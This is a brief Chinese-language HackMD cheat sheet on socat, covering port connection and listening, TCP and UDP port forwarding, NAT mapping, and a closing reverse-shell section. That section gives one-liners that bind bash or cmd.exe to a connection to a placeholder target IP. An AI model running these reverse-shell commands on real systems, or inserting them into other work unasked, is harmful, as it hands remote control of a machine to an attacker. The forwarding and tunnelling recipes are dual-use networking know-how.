Try   HackMD
tags: network technology

socat 常用用法

連接遠端 port

socat - TCP:192.168.1.200:4444 # 跟 nc 192.168.1.200 4444 同理

監聽 port

socat TCP-LISTEN:4444 - # 跟 nc -lp 4444 同理

port 轉發 (TCP)

socat -d -d -lf /tmp/socat.log TCP4-LISTEN:4444,bind=127.0.0.1,reuseaddr,fork TCP4:120.117.130.202:80 # 兩次 -d 代表調整訊息的輸出等級 # -lf /tmp/socat.log 指定輸出訊息的文件保存位址 # TCP4-LISTEN:4444 在本機建立一個 TCP IPv4 協議的監聽 port 用於轉發 # bind 指定監聽綁定的 IP 位址,不綁定即監聽伺服器上所有可用 IP # reuseaddr 綁定一個本機 port # fork TCP4:192.168.1.1:80 代表會被轉發連線的目標為 192.168.1.1:80

port 轉發 (UDP)

socat -d -d -lf /tmp/socat.log UDP4-LISTEN:4444,bind=127.0.0.1,reuseaddr,fork UDP4:120.117.130.202:80 # 差不多,只是 TCP 改 UDP

NAT 映照

外網機器上

socat tcp-listen:4444 tcp-listen:5000

內網機器上

socat tcp:outerhost:4444 tcp:192.168.1.1:5000

這樣外網機器的 5000 即可投射在內網機器的 192.168.1.1:5000

reverse shell

socat TCP:Target_IP:8000 exec:"/bin/bash -li" socat -d -d TCP:Target_IP:8000 exec:"/bin/bash -li" # windows socat TCP:Target_IP:8000 EXEC:'cmd.exe',pipes

other